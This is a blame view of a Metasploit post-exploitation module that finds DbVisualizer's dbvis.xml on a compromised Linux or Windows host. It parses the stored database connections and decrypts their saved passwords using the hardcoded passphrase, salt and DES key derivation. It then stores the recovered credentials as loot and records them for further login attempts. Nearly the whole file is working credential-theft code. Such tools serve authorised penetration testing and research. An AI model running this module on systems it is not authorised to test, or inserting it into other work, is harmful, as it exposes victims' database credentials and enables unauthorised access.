Files
metasploit-gs/modules/post/multi/gather/dbvis_enum.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

375 lines
9.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2015-05-28 10:21:00 +05:00
require 'openssl'
require 'digest/md5'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
include Msf::Auxiliary::Report
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multi Gather DbVisualizer Connections Settings',
'Description' => %q{
DbVisualizer stores the user database configuration in dbvis.xml.
2015-05-28 10:21:00 +05:00
This module retrieves the connections settings from this file and decrypts the encrypted passwords.
},
2021-09-10 12:53:39 +01:00
'License' => MSF_LICENSE,
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
2023-02-08 13:47:34 +00:00
'Platform' => %w[linux win],
2021-10-06 13:43:31 +01:00
'SessionTypes' => [ 'meterpreter', 'shell'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_getenv
]
}
}
2021-09-10 12:53:39 +01:00
)
)
2015-05-28 10:58:36 +05:00
register_options(
[
OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),
OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])
2021-09-10 12:53:39 +01:00
], super.class
)
end
def run
2014-07-15 11:31:37 -05:00
oldversion = false
case session.platform
when 'linux'
2015-05-28 10:21:00 +05:00
user = session.shell_command('whoami').chomp
print_status("Current user is #{user}")
2015-05-28 10:21:00 +05:00
if user =~ /root/
2023-02-08 13:47:34 +00:00
user_base = '/root/'
else
2021-09-10 12:53:39 +01:00
user_base = "/home/#{user}/"
end
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
when 'windows'
if session.type == 'meterpreter'
user_profile = session.sys.config.getenv('USERPROFILE')
else
2023-02-08 13:47:34 +00:00
user_profile = cmd_exec('echo %USERPROFILE%').strip
end
2023-02-08 13:47:34 +00:00
dbvis_file = user_profile + '\\.dbvis\\config70\\dbvis.xml'
end
2014-07-14 15:24:53 -05:00
unless file?(dbvis_file)
2014-07-15 11:31:37 -05:00
# File not found, we next try with the old config path
2014-07-15 12:14:38 +02:00
print_status("File not found: #{dbvis_file}")
2015-05-28 10:21:00 +05:00
print_status('This could be an older version of dbvis, trying old path')
2014-07-15 12:33:07 +02:00
case session.platform
2016-11-01 07:35:36 +10:00
when 'linux'
2014-07-15 11:31:37 -05:00
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
2016-11-01 07:35:36 +10:00
when 'windows'
2023-02-08 13:47:34 +00:00
dbvis_file = user_profile + '\\.dbvis\\config\\dbvis.xml'
2014-07-15 12:14:38 +02:00
end
unless file?(dbvis_file)
print_error("File not found: #{dbvis_file}")
return
end
2014-07-15 11:31:37 -05:00
oldversion = true
end
2014-07-14 14:39:34 -05:00
2014-07-15 11:31:37 -05:00
print_status("Reading: #{dbvis_file}")
2023-02-08 13:47:34 +00:00
print_line
raw_xml = ''
2014-07-14 15:27:40 -05:00
begin
raw_xml = read_file(dbvis_file)
rescue EOFError
# If there's nothing in the file, we hit EOFError
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
return
end
2014-07-15 11:31:37 -05:00
2014-07-15 14:00:29 +02:00
if oldversion
# Parse old config file
2014-12-12 13:16:21 +01:00
db_table = parse_old_config_file(raw_xml)
2014-07-15 14:00:29 +02:00
else
# Parse new config file
2014-12-12 13:16:21 +01:00
db_table = parse_new_config_file(raw_xml)
2014-07-15 14:00:29 +02:00
end
2014-07-14 15:27:40 -05:00
2014-07-15 14:00:29 +02:00
if db_table.rows.empty?
2015-05-28 10:21:00 +05:00
print_status('No database settings found')
2014-07-15 14:00:29 +02:00
else
2015-05-28 10:21:00 +05:00
print_line
2014-07-15 14:00:29 +02:00
print_line(db_table.to_s)
2015-05-28 10:21:00 +05:00
print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')
2023-02-08 13:47:34 +00:00
print_line
2015-05-28 10:21:00 +05:00
# Store found databases in loot
p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')
2023-02-08 13:47:34 +00:00
print_good("Databases settings stored in: #{p}")
2014-07-15 14:00:29 +02:00
end
print_status("Downloading #{dbvis_file}")
2023-02-08 13:47:34 +00:00
p = store_loot('dbvis.xml', 'text/xml', session, read_file(dbvis_file), dbvis_file.to_s, 'dbvis config')
print_good "dbvis.xml saved to #{p}"
2014-07-15 14:00:29 +02:00
end
# New config file parse function
2014-12-12 13:16:21 +01:00
def parse_new_config_file(raw_xml)
2016-08-10 13:30:09 -05:00
db_table = Rex::Text::Table.new(
2023-02-08 13:47:34 +00:00
'Header' => 'DbVisualizer Databases',
2021-09-10 12:53:39 +01:00
'Indent' => 2,
'Columns' =>
[
2023-02-08 13:47:34 +00:00
'Alias',
'Type',
'Server',
'Port',
'Database',
'Namespace',
'UserID',
'Password'
2021-09-10 12:53:39 +01:00
]
)
2014-07-15 11:31:37 -05:00
2014-07-15 14:00:29 +02:00
dbs = []
db = {}
dbfound = false
2015-05-28 10:21:00 +05:00
version_found = false
2014-07-15 14:00:29 +02:00
# fetch config file
2014-07-14 15:27:40 -05:00
raw_xml.each_line do |line|
2015-05-28 10:21:00 +05:00
if version_found == false
version_found = find_version(line)
2014-07-15 15:04:46 +02:00
end
2014-07-14 14:39:34 -05:00
if line =~ /<Database id=/
dbfound = true
2023-02-08 13:47:34 +00:00
elsif line =~ %r{</Database>}
2014-07-15 11:31:37 -05:00
dbfound = false
2014-07-14 14:39:34 -05:00
if db[:Database].nil?
2023-02-08 13:47:34 +00:00
db[:Database] = ''
2014-07-14 14:39:34 -05:00
end
if db[:Namespace].nil?
2023-02-08 13:47:34 +00:00
db[:Namespace] = ''
2014-07-14 14:39:34 -05:00
end
# save
2023-02-08 13:47:34 +00:00
dbs << db if (db[:Alias] && db[:Type] && db[:Server] && db[:Port])
2014-07-14 14:39:34 -05:00
db = {}
end
2023-02-08 13:47:34 +00:00
next unless dbfound == true
2014-07-14 14:39:34 -05:00
2023-02-08 13:47:34 +00:00
# get the alias
if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i
db[:Alias] = ::Regexp.last_match(1)
end
2014-07-14 14:39:34 -05:00
2023-02-08 13:47:34 +00:00
# get the type
if line =~ %r{<Type>([\S+\s+]+)</Type>}i
db[:Type] = ::Regexp.last_match(1)
end
2014-07-14 14:39:34 -05:00
2023-02-08 13:47:34 +00:00
# get the user
if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i
db[:UserID] = ::Regexp.last_match(1)
end
2015-05-28 10:21:00 +05:00
2023-02-08 13:47:34 +00:00
# get user password
if line =~ %r{<Password>([\S+\s+]+)</Password>}i
enc_password = ::Regexp.last_match(1)
db[:Password] = decrypt_password(enc_password)
end
2014-07-14 14:39:34 -05:00
2023-02-08 13:47:34 +00:00
# get the server
if line =~ %r{<UrlVariable UrlVariableName="Server">([\S+\s+]+)</UrlVariable>}i
db[:Server] = ::Regexp.last_match(1)
end
2014-07-14 14:39:34 -05:00
2023-02-08 13:47:34 +00:00
# get the port
if line =~ %r{<UrlVariable UrlVariableName="Port">([\S+\s+]+)</UrlVariable>}i
db[:Port] = ::Regexp.last_match(1)
end
2014-07-14 14:39:34 -05:00
2023-02-08 13:47:34 +00:00
# get the database
if line =~ %r{<UrlVariable UrlVariableName="Database">([\S+\s+]+)</UrlVariable>}i
db[:Database] = ::Regexp.last_match(1)
end
# get the Namespace
if line =~ %r{<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)</UrlVariable>}i
db[:Namespace] = ::Regexp.last_match(1)
end
end
2014-07-14 14:39:34 -05:00
2014-07-15 11:31:37 -05:00
# Fill the tab and report eligible servers
2014-07-14 15:14:54 -05:00
dbs.each do |db|
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
2015-05-28 10:21:00 +05:00
print_good("Reporting #{db[:Server]}")
2023-02-08 13:47:34 +00:00
report_host(host: db[:Server])
2014-07-14 15:14:54 -05:00
end
2015-05-29 11:08:24 +05:00
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ]
2015-06-02 14:16:16 +05:00
report_cred(
ip: db[:Server],
port: db[:Port].to_i,
service_name: db[:Type],
username: db[:UserID],
password: db[:Password]
)
2014-07-14 15:14:54 -05:00
end
2014-07-15 14:00:29 +02:00
return db_table
end
2014-07-15 14:21:09 +02:00
# New config file parse function
2014-12-12 13:16:21 +01:00
def parse_old_config_file(raw_xml)
2016-08-10 13:30:09 -05:00
db_table = Rex::Text::Table.new(
2021-09-10 12:53:39 +01:00
'Header' => 'DbVisualizer Databases',
'Indent' => 2,
'Columns' =>
[
'Alias',
'Type',
'URL',
'UserID',
'Password'
]
)
2014-07-15 11:31:37 -05:00
2014-07-15 14:00:29 +02:00
dbs = []
db = {}
dbfound = false
2015-05-28 10:21:00 +05:00
version_found = false
2014-07-15 14:00:29 +02:00
# fetch config file
raw_xml.each_line do |line|
2015-05-28 10:21:00 +05:00
if version_found == false
2021-09-10 12:53:39 +01:00
vesrion_found = find_version(line)
2014-07-15 15:04:46 +02:00
end
2014-07-15 14:00:29 +02:00
if line =~ /<Database id=/
dbfound = true
2023-02-08 13:47:34 +00:00
elsif line =~ %r{</Database>}
2014-07-15 11:31:37 -05:00
dbfound = false
2014-07-15 14:00:29 +02:00
# save
2023-02-08 13:47:34 +00:00
dbs << db if (db[:Alias] && db[:Url])
2014-07-15 14:00:29 +02:00
db = {}
end
2023-02-08 13:47:34 +00:00
next unless dbfound == true
2014-07-15 14:00:29 +02:00
2023-02-08 13:47:34 +00:00
# get the alias
if line =~ %r{<Alias>([\S+\s+]+)</Alias>}i
db[:Alias] = ::Regexp.last_match(1)
end
2014-07-15 14:00:29 +02:00
2023-02-08 13:47:34 +00:00
# get the type
if line =~ %r{<Type>([\S+\s+]+)</Type>}i
db[:Type] = ::Regexp.last_match(1)
end
2014-07-15 14:00:29 +02:00
2023-02-08 13:47:34 +00:00
# get the user
if line =~ %r{<Userid>([\S+\s+]+)</Userid>}i
db[:UserID] = ::Regexp.last_match(1)
end
2015-05-28 10:21:00 +05:00
2023-02-08 13:47:34 +00:00
# get the user password
if line =~ %r{<Password>([\S+\s+]+)</Password>}i
enc_password = ::Regexp.last_match(1)
db[:Password] = decrypt_password(enc_password)
end
2015-05-28 10:21:00 +05:00
2023-02-08 13:47:34 +00:00
# get the server URL
if line =~ %r{<Url>(\S+)</Url>}i
db[:URL] = ::Regexp.last_match(1)
2014-07-15 14:00:29 +02:00
end
2014-07-14 15:14:54 -05:00
end
2014-07-15 14:00:29 +02:00
# Fill the tab
dbs.each do |db|
2023-02-08 13:47:34 +00:00
if (db[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)
server = ::Regexp.last_match(1)
2015-06-02 14:16:16 +05:00
if ::Rex::Socket.is_ipv4?(server)
print_good("Reporting #{server}")
2023-02-08 13:47:34 +00:00
report_host(host: server)
2014-07-15 11:31:37 -05:00
end
2014-07-15 14:21:09 +02:00
end
2021-09-10 12:53:39 +01:00
db_table << [ db[:Alias], db[:Type], db[:URL], db[:UserID], db[:Password] ]
2015-06-02 14:16:16 +05:00
report_cred(
ip: server,
port: '',
service_name: db[:Type],
username: db[:UserID],
password: db[:Password]
)
2014-07-15 14:00:29 +02:00
end
return db_table
2014-07-14 15:17:54 -05:00
end
2014-07-15 14:00:29 +02:00
2014-12-12 13:16:21 +01:00
def find_version(tag)
2014-07-15 11:31:37 -05:00
found = false
2023-02-08 13:47:34 +00:00
if tag =~ %r{<Version>([\S+\s+]+)</Version>}i
2014-07-15 11:31:37 -05:00
found = true
2023-02-08 13:47:34 +00:00
print_good("DbVisualizer version: #{::Regexp.last_match(1)}")
2015-05-28 10:21:00 +05:00
end
found
end
2015-06-02 14:16:16 +05:00
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
2023-02-08 13:47:34 +00:00
post_reference_name: refname,
2015-06-02 14:16:16 +05:00
session_id: session_db_id,
origin_type: :session,
private_data: opts[:password],
private_type: :password,
username: opts[:username]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
2023-02-08 13:47:34 +00:00
status: Metasploit::Model::Login::Status::UNTRIED
2015-06-02 14:16:16 +05:00
}.merge(service_data)
create_credential_login(login_data)
end
2015-05-28 10:21:00 +05:00
def decrypt_password(enc_password)
enc_password = Rex::Text.decode_base64(enc_password)
dk, iv = get_derived_key
des = OpenSSL::Cipher.new('DES-CBC')
2015-05-29 10:33:55 +05:00
des.decrypt
2015-05-28 10:21:00 +05:00
des.key = dk
des.iv = iv
2015-05-29 10:33:55 +05:00
password = des.update(enc_password) + des.final
2015-05-28 10:21:00 +05:00
end
def get_derived_key
key = passphrase + salt
iteration_count.times do
key = Digest::MD5.digest(key)
2014-07-15 11:31:37 -05:00
end
2021-09-10 12:53:39 +01:00
return key[0, 8], key[8, 8]
2015-05-28 10:21:00 +05:00
end
def salt
2021-09-10 12:53:39 +01:00
[-114, 18, 57, -100, 7, 114, 111, 90].pack('C*')
2015-05-28 10:21:00 +05:00
end
def passphrase
2015-05-28 10:58:36 +05:00
datastore['PASSPHRASE'] || 'qinda'
2015-05-28 10:21:00 +05:00
end
def iteration_count
2015-05-28 10:58:36 +05:00
datastore['ITERATION_COUNT'] || 10
2014-07-15 15:04:46 +02:00
end
end